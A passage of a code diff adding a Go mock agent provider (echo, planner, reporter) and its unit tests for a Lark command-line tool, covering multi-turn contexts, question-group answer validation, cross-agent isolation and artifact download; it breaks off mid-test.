+	if len(in.Answers) > 0 {
+		// No pending question group exists on a born-terminal agent — reject
+		// loudly rather than silently dropping the answers (§6.4's no-silent-drop
+		// bottom line; reporter passes the CLI's input_required capability gate,
+		// so this is reachable there).
+		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"该 agent 没有待答的问题组").
+			WithParam("--answer").
+			WithHint("--answer 只用于回答停在 input_required 的任务；起新任务用 --text")
+	}
+	if in.TaskID != "" {
+		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"example 的任务发出即完成（终态），无法向已有任务续发").
+			WithParam("--task-id").
+			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
+	}
+	ctxID := in.ContextID
+	if ctxID == "" {
+		var err error
+		ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
+		if err != nil {
+			return nil, err
+		}
+	}
+	// createTask validates context ownership under the lock (an unknown /
+	// cross-agents context id is rejected inside with a typed error), computes the
+	// round, and inserts atomically.
+	task, err := store.createTask(agentID, ctxID, func(round int) agents.AgentTask {
+		reply, artifacts := build(round)
+		return agents.AgentTask{
+			TaskID:     newID("task"),
+			ContextID:  ctxID,
+			State:      agents.StateCompleted,
+			IsTerminal: true,
+			Messages: []agents.Message{
+				{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
+				{Role: "agent", Parts: []agents.Part{{Type: "text", Text: reply}}},
+			},
+			Artifacts: artifacts,
+		}
+	})
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+func getTask(ctx context.Context, rt agents.Runtime, taskID string) (*agents.AgentTask, error) {
+	task, err := store.getTask(rt.AgentID(), taskID)
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+func listTasks(ctx context.Context, rt agents.Runtime, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo, error) {
+	tasks, info := store.listTasks(rt.AgentID(), contextID, page)
+	return tasks, info, nil
+}
+
+func listContexts(ctx context.Context, rt agents.Runtime, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo, error) {
+	ctxs, info := store.listContexts(rt.AgentID(), page)
+	return ctxs, info, nil
+}
+
+func getContext(ctx context.Context, rt agents.Runtime, ctxID string) (*agents.ContextDetail, error) {
+	return store.getContext(rt.AgentID(), ctxID)
+}
+
+func deleteContext(ctx context.Context, rt agents.Runtime, ctxID string) error {
+	return store.deleteContext(rt.AgentID(), ctxID)
+}
+
+// cancelTask is wired only for reporter, so echo never reaches it (the command
+// layer gates echo's cancel on the nil field). The mock task is completed the
+// moment it is sent, so canceling a terminal task returns a failed_precondition
+// typed error rather than pretending success.
+func cancelTask(ctx context.Context, rt agents.Runtime, taskID string) error {
+	task, err := store.getTask(rt.AgentID(), taskID)
+	if err != nil {
+		return err
+	}
+	if task.State.IsTerminal() {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
+			WithHint("终态任务不可取消；用 lark-cli agents task get example:%s %s 查看结果", rt.AgentID(), taskID)
+	}
+	return store.setTaskState(taskID, agents.StateCanceled)
+}
+
+// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
+const reportCSV = "quarter,revenue,cost,margin\n" +
+	"2026Q1,1250,830,0.336\n" +
+	"2026Q2,1410,905,0.358\n"
+
+// downloadArtifact is wired only for reporter (echo is gated on the nil field).
+// It returns inline Bytes; a real provider would fill URL instead and let the
+// command layer SSRF-validate + fetch.
+//
+// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
+// file name, echoed back only as a reference for choosing -o — it is untrusted
+// and never participates in constructing the local save path (the save path is
+// always -o/SafeOutputPath).
+func downloadArtifact(ctx context.Context, rt agents.Runtime, taskID, artifactID string) (*agents.ArtifactData, error) {
+	task, err := store.getTask(rt.AgentID(), taskID)
+	if err != nil {
+		return nil, err
+	}
+	for _, a := range task.Artifacts {
+		if a.ID == artifactID {
+			return &agents.ArtifactData{
+				Name:  "quarterly_report.csv",
+				Mime:  "text/csv",
+				Bytes: []byte(reportCSV),
+			}, nil
+		}
+	}
+	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
+		WithHint("运行 lark-cli agents task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
+}
+
+// truncateTitle takes the first few characters of the message as the context
+// title (truncated by rune to avoid cutting a character in half).
+func truncateTitle(s string) string {
+	const max = 20
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max]) + "…"
+}

agents/example/example_test.go

@@ -0,0 +1,969 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package example
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/agents/agenttest"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// Register the example provider for this test binary (provider packages are pure
+// data now — the top-level agent package's init does this in production, but that
+// package cannot be imported here without an import cycle).
+func init() { agents.Register(Provider()) }
+
+// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
+// and no-ops the network methods (the mock hooks only ever read AgentID()).
+type fakeRuntime struct {
+	agentID string
+	params  map[string]string
+}
+
+func (r fakeRuntime) AgentID() string           { return r.agentID }
+func (r fakeRuntime) IsBot() bool               { return false }
+func (r fakeRuntime) Params() map[string]string { return r.params }
+func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
+	return nil, nil
+}
+func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agents.FilePart) (json.RawMessage, error) {
+	return nil, nil
+}
+
+// swapStore replaces the package-level store with an isolated instance pointing at
+// t.TempDir, so tests do not pollute each other or the local demo snapshot.
+func swapStore(t *testing.T) {
+	t.Helper()
+	old := store
+	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
+	t.Cleanup(func() { store = old })
+}
+
+// TestConformance runs the shared conformance suite for every catalog entry.
+func TestConformance(t *testing.T) {
+	agenttest.RunConformance(t, "example", "echo")
+}
+
+func TestConformancePlanner(t *testing.T) {
+	agenttest.RunConformance(t, "example", "planner")
+}
+
+func TestConformanceReporter(t *testing.T) {
+	agenttest.RunConformance(t, "example", "reporter")
+}
+
+// TestCapabilityMatrixDiverges pins the deliberate difference between the two
+// agents, derived purely from which hooks each spec wires.
+func TestCapabilityMatrixDiverges(t *testing.T) {
+	// Under feishu (default), reporter's feishu-scoped task_cancel is live, so the
+	// historical full matrix holds.
+	ec := agents.DeriveCapabilities(&echoSpec, core.BrandFeishu)
+	rc := agents.DeriveCapabilities(&reporterSpec, core.BrandFeishu)
+	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
+		t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
+	}
+	if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
+		t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
+	}
+	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
+		t.Errorf("reporter should have everything but input_required enabled, got %+v", rc)
+	}
+	if rc.InputRequired {
+		t.Error("reporter never pauses — input_required must be false (its brand-scoped CancelTask would otherwise violate the §6.8 registration check)")
+	}
+}
+
+// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
+// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
+func TestEchoUnwiredCapabilities(t *testing.T) {
+	if echoSpec.CancelTask.Handler != nil {
+		t.Error("echo should not wire CancelTask (task_cancel=false)")
+	}
+	if echoSpec.DownloadArtifact.Handler != nil {
+		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
+	}
+	if echoSpec.FileInput {
+		t.Error("echo should not accept file input (file_input=false)")
+	}
+}
+
+// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
+func TestEchoMultiTurn(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	ctx := context.Background()
+
+	t1, err := echoSend(ctx, rt, agents.SendInput{Text: "hello"})
+	if err != nil {
+		t.Fatalf("first-turn send: %v", err)
+	}
+	if t1.State != agents.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
+		t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
+	}
+	if got := agentReply(t, t1); got != "hello" {
+		t.Fatalf("first-turn echo should be the original text, got %q", got)
+	}
+
+	t2, err := echoSend(ctx, rt, agents.SendInput{Text: "再来", ContextID: t1.ContextID})
+	if err != nil {
+		t.Fatalf("follow-up send: %v", err)
+	}
+	if t2.ContextID != t1.ContextID {
+		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
+	}
+	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
+		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
+	}
+
+	got, err := getTask(ctx, rt, t2.TaskID)
+	if err != nil {
+		t.Fatalf("getTask: %v", err)
+	}
+	if agentReply(t, got) != "再来（第 2 轮）" {
+		t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
+	}
+	tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(tasks) != 2 {
+		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
+	}
+	// Every summary carries the enriched fields: a status timestamp and the
+	// one-line digest (the last agent message). listTasks now returns
+	// most-recent-first, so tasks[0] is the second turn and tasks[1] the first.
+	for _, ts := range tasks {
+		if ts.UpdatedAt == "" {
+			t.Errorf("task summary should carry updated_at: %+v", ts)
+		}
+	}
+	if tasks[0].Summary != "再来（第 2 轮）" {
+		t.Errorf("newest task summary should carry the round marker, got %q", tasks[0].Summary)
+	}
+	if tasks[1].Summary != "hello" {
+		t.Errorf("oldest task summary should be the first agent message %q, got %q", "hello", tasks[1].Summary)
+	}
+	ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
+		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
+	}
+	if ctxs[0].AwaitingInput {
+		t.Errorf("context summary should roll up awaiting_input=false, got %+v", ctxs[0])
+	}
+	if ctxs[0].UpdatedAt == "" {
+		t.Error("context summary should carry updated_at")
+	}
+
+	// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
+	// single most-recent active_task (t2, the latest by updated_at).
+	detail, err := getContext(ctx, rt, t1.ContextID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if detail.TaskCount == nil || *detail.TaskCount != 2 {
+		t.Fatalf("context detail should report task_count=2, got %+v", detail)
+	}
+	if detail.AwaitingInput {
+		t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
+	}
+	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
+		t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
+	}
+	if detail.ActiveTask.Summary != "再来（第 2 轮）" {
+		t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
+	}
+	if detail.ActiveTask.UpdatedAt == "" {
+		t.Error("active_task.updated_at should be populated")
+	}
+}
+
+// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
+// and reporter share one package-global store, so a task/context created under
+// one agent MUST be invisible to the other agent's runtime (get/delete return a
+// not-found error; list returns nothing). Without this guard
+// `agents task get example:reporter <echo-task-id>` would leak echo's data.
+func TestCrossAgentIsolation(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	echo := fakeRuntime{agentID: "echo"}
+	reporter := fakeRuntime{agentID: "reporter"}
+
+	t1, err := echoSend(ctx, echo, agents.SendInput{Text: "secret"})
+	if err != nil {
+		t.Fatalf("echo send: %v", err)
+	}
+
+	// reporter must not read/delete echo's task or context.
+	if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
+		t.Error("reporter must not read echo's task (cross-agent leak)")
+	}
+	if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
+		t.Error("reporter must not read echo's context (cross-agent leak)")
+	}
+	if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
+		t.Error("reporter must not delete echo's context (cross-agent leak)")
+	}
+	if tasks, _, _ := listTasks(ctx, reporter, "", agents.PageParams{}); len(tasks) != 0 {
+		t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
+	}
+	if ctxs, _, _ := listContexts(ctx, reporter, agents.PageParams{}); len(ctxs) != 0 {
+		t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
+	}
+
+	// echo still sees its own data, and its context survived reporter's delete.
+	if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
+		t.Errorf("echo must still read its own task: %v", err)
+	}
+	if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
+		t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
+	}
+}
+
+// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
+func TestStateSurvivesReload(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	task, err := echoSend(context.Background(), rt, agents.SendInput{Text: "persist"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
+	got, err := getTask(context.Background(), rt, task.TaskID)
+	if err != nil {
+		t.Fatalf("getTask after reload: %v", err)
+	}
+	if got.ContextID != task.ContextID {
+		t.Fatalf("task should replay fully after reload: %+v", got)
+	}
+}
+
+// plannerAnswers builds the full valid answer set for a freshly opened planner
+// group (§10.1 key encoding): q1 by option, q2 by text, q3 multi-select.
+func plannerAnswers(ir *agents.InputRequired) map[string][]string {
+	return map[string][]string{
+		ir.Questions[0].QuestionID:                           {"by_region"},
+		ir.Questions[1].QuestionID + agents.AnswerTextSuffix: {"2024 全年"},
+		ir.Questions[2].QuestionID:                           {"east", "north"},
+	}
+}
+
+// TestPlannerGroupFlow drives the input_required HITL loop end to end on the
+// reference provider: the first send pauses on a three-question group with
+// creation-minted per-group keys, one --answer submission completes the task
+// with option ids resolved back to labels, and a second submission gets
+// failed_precondition carrying resolved_answers (the "already decided" path).
+func TestPlannerGroupFlow(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出个季度报表"})
+	if err != nil {
+		t.Fatalf("planner open send: %v", err)
+	}
+	if t1.State != agents.StateInputRequired || t1.InputRequired == nil {
+		t.Fatalf("first send should pause on a question group, got %+v", t1)
+	}
+	ir := t1.InputRequired
+	if ir.Label == "" || len(ir.Questions) != 3 {
+		t.Fatalf("group should carry a label and 3 questions, got %+v", ir)
+	}
+	if len(ir.Questions[0].Options) != 2 || len(ir.Questions[1].Options) != 0 ||
+		!ir.Questions[2].MultiSelect || len(ir.Questions[2].Options) != 3 {
+		t.Fatalf("question shapes wrong: %+v", ir.Questions)
+	}
+	for _, q := range ir.Questions {
+		if !agents.KeyPattern.MatchString(q.QuestionID) {
+			t.Errorf("minted question_id must satisfy KeyPattern, got %q", q.QuestionID)
+		}
+	}
+	// Per-group suffix: all three ids share ONE suffix (creation-minted, §6.2 —
+	// per-question suffixes would break the group-anchor staleness design)…
+	suffix := t1.InputRequired.Questions[0].QuestionID
+	suffix = suffix[strings.LastIndex(suffix, "_")+1:]
+	for _, q := range t1.InputRequired.Questions {
+		if !strings.HasSuffix(q.QuestionID, "_"+suffix) {
+			t.Errorf("all question ids must share the group suffix %q, got %q", suffix, q.QuestionID)
+		}
+	}
+	// …and a SECOND group (new ask in the same context) mints a different one —
+	// the stale-retry protection.
+	t2, err := plannerSend(ctx, rt, agents.SendInput{ContextID: t1.ContextID, Text: "再来一份"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	q2id := t2.InputRequired.Questions[0].QuestionID
+	if q2id == t1.InputRequired.Questions[0].QuestionID {
+		t.Errorf("a successor group must mint different question ids, both got %q", q2id)
+	}
+
+	done, err := plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
+	})
+	if err != nil {
+		t.Fatalf("answering the group: %v", err)
+	}
+	if done.State != agents.StateCompleted {
+		t.Fatalf("answered task should be completed, got %s", done.State)
+	}
+	var acceptReply string
+	for i := len(done.Messages) - 1; i >= 0; i-- {
+		if done.Messages[i].Role == "agent" && len(done.Messages[i].Parts) > 0 {
+			acceptReply = done.Messages[i].Parts[0].Text
+			break
+		}
+	}
+	if !strings.Contains(acceptReply, "按大区") || !strings.Contains(acceptReply, "2024 全年") {
+		t.Errorf("acceptance reply should resolve option ids to labels and echo text answers, got %q", acceptReply)
+	}
+
+	// Second submission (another endpoint / a retry whose first attempt landed):
+	// failed_precondition + resolved_answers echoing what won.
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
+	})
+	if err == nil {
+		t.Fatal("re-answering a resolved group should fail")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("re-answer should be failed_precondition, got %+v (%v)", p, err)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.ResolvedAnswers == nil {
+		t.Fatalf("re-answer must carry resolved_answers (who won), got %+v", verr)
+	}
+	if v := verr.ResolvedAnswers[ir.Questions[0].QuestionID]; len(v) != 1 || v[0] != "by_region" {
+		t.Errorf("resolved_answers should echo the accepted set, got %v", verr.ResolvedAnswers)
+	}
+}
+
+// TestPlannerCollectAllValidation pins the strict-posture server validation in
+// one submission: an unknown key (stale retry), a bad option, a skip+value
+// conflict, and a missing question are ALL reported in one invalid_argument
+// whose params[] carry the Reason enum and the question declaration — and the
+// rejected submission changes nothing.
+func TestPlannerCollectAllValidation(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ir := t1.InputRequired
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID,
+		Answers: map[string][]string{
+			"q1_stale":                 {"by_region"},    // 陈旧/拼错键 → unknown_question
+			ir.Questions[0].QuestionID: {"nonexistent"},  // 非法选项 → invalid_option
+			ir.Questions[2].QuestionID: {"east", "skip"}, // skip 与实值互斥 → conflict
+			// Questions[1] 未答 → missing
+		},
+	})
+	if err == nil {
+		t.Fatal("a violating submission should error")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("want invalid_argument, got %+v (%v)", p, err)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatal(err)
+	}
+	reasons := map[string]string{}
+	for _, ip := range verr.Params {
+		reasons[ip.Reason] = ip.Name
+	}
+	for _, want := range []string{"unknown_question", "invalid_option", "conflict", "missing"} {
+		if _, hit := reasons[want]; !hit {
+			t.Errorf("collect-all params should include reason %q, got %v", want, verr.Params)
+		}
+	}
+	if !strings.Contains(p.Hint, "整组重发") {
+		t.Errorf("hint must state the full-group resend rule, got %q", p.Hint)
+	}
+
+	got, err := getTask(ctx, rt, t1.TaskID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.State != agents.StateInputRequired {
+		t.Errorf("a rejected submission must change nothing, got state=%s", got.State)
+	}
+}
+
+// TestPlannerBareTextNoSiblingFork pins the §6.5 rule: a bare --text aimed at
+// the paused task is rejected with guidance toward --answer — it must NOT fork
+// a sibling task (the pre-v0.3 behavior this replaces).
+func TestPlannerBareTextNoSiblingFork(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Text: "按大区吧",
+	})
+	if err == nil {
+		t.Fatal("bare --text at a paused select-question group should be rejected")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument || !strings.Contains(p.Hint, "--answer") {
+		t.Fatalf("rejection should guide to --answer, got %+v (%v)", p, err)
+	}
+	// No sibling task was created: the context still holds exactly one task.
+	tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(tasks) != 1 {
+		t.Fatalf("bare --text must not fork a sibling task, got %d tasks", len(tasks))
+	}
+}
+
+// TestNewTurnRejectsAnswers pins the no-silent-drop bottom line on born-terminal
+// agents: reporter passes the CLI's input_required capability gate, so its hook
+// must reject --answer loudly instead of consuming it as a plain turn.
+func TestNewTurnRejectsAnswers(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter"}
+	_, err := reporterSend(context.Background(), rt, agents.SendInput{
+		Answers: map[string][]string{"q1": {"x"}},
+	})
+	if err == nil {
+		t.Fatal("answers at a born-terminal agent should be rejected, not dropped")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("want failed_precondition, got %+v (%v)", p, err)
+	}
+}
+
+// TestReporterParamsBinding locks the declaration↔consumption contract: the
+// reporterSendParams struct tags must reference params declared on send with
+// compatible kinds (a renamed/retyped declaration fails here in CI, not as a
+// silent zero value at runtime).
+func TestReporterParamsBinding(t *testing.T) {
+	agenttest.CheckParamsBinding[reporterSendParams](t, &reporterSpec, agents.VerbSend)
+}
+
+// TestReporterConsumesParams drives reporterSend with framework-style resolved
+// params (defaults backfilled) and pins that BindParams feeds the reply: the
+// default shape keeps the historical reply, a non-default format changes it.
+func TestReporterConsumesParams(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+
+	// defaults → historical reply, byte-identical
+	rt := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "csv", "quarters": "4"}}
+	task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := agentReply(t, task); !strings.HasPrefix(got, "报表已生成：quarterly_report.csv") {
+		t.Fatalf("default params should keep the historical reply, got %q", got)
+	}
+
+	// non-default format → the reply reflects the params
+	rt2 := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "xlsx", "quarters": "6"}}
+	task2, err := reporterSend(ctx, rt2, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := agentReply(t, task2); !strings.Contains(got, "xlsx") || !strings.Contains(got, "6 个季度") {
+		t.Fatalf("params should feed the reply, got %q", got)
+	}
+}
+
+// TestReporterRenderObject drives the object param end to end on the reference
+// provider: framework-style resolved leaves reach the hook, the nested struct
+// binds, and the reply reflects them.
+func TestReporterRenderObject(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter", params: map[string]string{
+		"report_format": "csv", "quarters": "4",
+		"render.theme": "dark", "render.watermark": "true",
+	}}
+	task, err := reporterSend(context.Background(), rt, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := agentReply(t, task); !strings.Contains(got, "dark 主题，含水印") {
+		t.Fatalf("render object should feed the reply, got %q", got)
+	}
+}
+
+// TestReporterArtifactFlow verifies the full artifact chain.
+func TestReporterArtifactFlow(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter"}
+	ctx := context.Background()
+
+	task, err := reporterSend(ctx, rt, agents.SendInput{Text: "本季度报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(task.Artifacts) != 1 {
+		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
+	}
+	art := task.Artifacts[0]
+	if art.ID == "" || art.Kind != "text" {
+		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
+	}
+
+	data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
+	if err != nil {
+		t.Fatalf("downloadArtifact: %v", err)
+	}
+	if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
+		t.Errorf("suggested_name/mime wrong: %+v", data)
+	}
+	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
+		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
+	}
+
+	if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
+		t.Fatal("unknown artifact id should return an error")
+	} else if _, ok := errs.ProblemOf(err); !ok {
+		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
+	}
+}
+
+// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
+// for a terminal task (the mock task is completed the moment it is sent).
+func TestReporterCancelTerminal(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter"}
+	ctx := context.Background()
+	task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	err = cancelTask(ctx, rt, task.TaskID)
+	if err == nil {
+		t.Fatal("canceling a terminal task should return an error")
+	}
+	prob, ok := errs.ProblemOf(err)
+	if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
+	}
+}
+
+// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
+// framework's LookupSpec (with a hint pointing to agents list example).
+func TestUnknownCatalogID(t *testing.T) {
+	_, _, _, err := agents.LookupSpec("example:nonexistent")
+	if err == nil {
+		t.Fatal("an unknown catalog id should return an error")
+	}
+	prob, ok := errs.ProblemOf(err)
+	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
+	}
+}
+
+// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
+// unknown context id.
+func TestSendGuards(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	ctx := context.Background()
+
+	_, err := echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
+	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
+	}
+
+	_, err = echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_missing"})
+	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
+	}
+}
+
+// TestDeleteContext verifies deleting a context also cleans up its tasks.
+func TestDeleteContext(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	ctx := context.Background()
+	task, err := echoSend(ctx, rt, agents.SendInput{Text: "bye"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := deleteContext(ctx, rt, task.ContextID); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := getTask(ctx, rt, task.TaskID); err == nil {
+		t.Fatal("after deleting the context its tasks should be unqueryable")
+	}
+	ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 0 {
+		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
+	}
+}
+
+// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
+// active_task is the task with the LATEST updated_at (not the last created), the
+// rollup counts tasks and flags awaiting_input, and an input_required active
+// task's summary is its pending prompt. It seeds the store directly with
+// out-of-creation-order timestamps so "latest updated_at wins" is tested
+// independently of insertion order.
+func TestContextRollupPicksLatestUpdated(t *testing.T) {
+	swapStore(t)
+	store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
+	store.Contexts["ctx_1"] = &contextRecord{
+		AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
+		Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
+	}
+	store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agents.AgentTask{
+		TaskID: "t_a", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
+		UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
+	}}
+	// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
+	store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agents.AgentTask{
+		TaskID: "t_b", ContextID: "ctx_1", State: agents.StateInputRequired,
+		UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "按大区还是品类拆?"}}},
+	}}
+	store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agents.AgentTask{
+		TaskID: "t_c", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
+		UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
+	}}
+
+	rt := fakeRuntime{agentID: "echo"}
+	detail, err := getContext(context.Background(), rt, "ctx_1")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if detail.TaskCount == nil || *detail.TaskCount != 3 {
+		t.Errorf("task_count should be 3, got %+v", detail)
+	}
